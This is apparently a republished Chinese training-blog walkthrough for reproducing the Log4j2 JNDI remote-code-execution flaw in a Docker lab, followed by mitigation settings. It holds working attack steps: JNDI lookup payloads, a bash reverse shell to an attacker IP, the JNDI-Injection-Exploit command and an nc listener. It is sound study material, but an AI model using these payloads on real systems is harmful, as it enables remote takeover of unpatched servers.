log4j2
异常处理,在log4j2中提供了一些异常处理机制
性能提升,log4j2相较于log4j有明显18倍性能提升
自动重载配置,提供自动刷新参数配置,在生产上可以动态的修改日志的级别而不需要重启应用
无垃圾机制,在大部分情况下可以使用其设计的一套无垃圾机制,避免频繁的日志收集导致的 jvm gc
漏洞概述
log4j2是调用了jndi来查询一些信息然后记录到了日志里面。(jndi是java一套资源和使用的接口,用来将各种资源做整合)
利用docker拉取log4j2的镜像并对其进行部署
,使用命令拉取镜像
docker pull vulfocus/log4j2-rce-2021-12-09
再使用命令进行部署
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
之后可以访问下38080端口看一下我们部署的怎么样
可以发现我们的log4j2漏洞已经部署成功
首先对页面进行抓包
这里面我们从payload参数进行操作,首先我们访问dnslog http://dnslog.cn/ 申请一个subdomain来进行检测,
修改payload的参数${jndi:ldap://你申请到的url}再进行传参(注意!这个参数必须经过url编码)
刷新页面,只要能拿到该回显就可以证明存在一个jndi注入。
在攻击机内部署
这个可以在github上进行下载
之后我们写一段bash命令并对它进行base64加密
bash -i >& /dev/tcp/你攻击机的IP/攻击机负责监听的端口 0>&1
之后我们可以在攻击机使用JNDI-Injection-Exploit
命令如下
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,编辑好的bash命令经过base64加密的内容}|{base64,-d}|{bash,-i}" -A 攻击机IP
得到了5种exp,这并不是都有效果,由于JAVA版本的不同需要进行尝试,可以写一个脚本进行fuzz爆破,之后我们再开启一个端口监听,这个端口需要和我们前面构建bash命令的端口一致
nc -lvvp 5323
之后我们对所有exp进行尝试,其方法如下
将JNDI-Injection-Exploit给我们的exp放入
${jndi:exp填入此位置}
例如
${jndi:rmi://192.000.000.000:1099/klrglv}
之后我们再传入payload内
之后就可以发现成功上线了
更新版本!
Apache Log4j 2.x <= 2.14.1
在不需要的情况下可以关闭log4j相关功能
设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
设置“log4j2.formatMsgNoLookups=True”
系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
关闭对应应用的网络外连,禁止主动外连
地址|北京市海淀区奥北科技园20号楼5层
原文始发于微信公众号(大学生网络安全尖锋训练营):【学习园地】log4j2快速复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论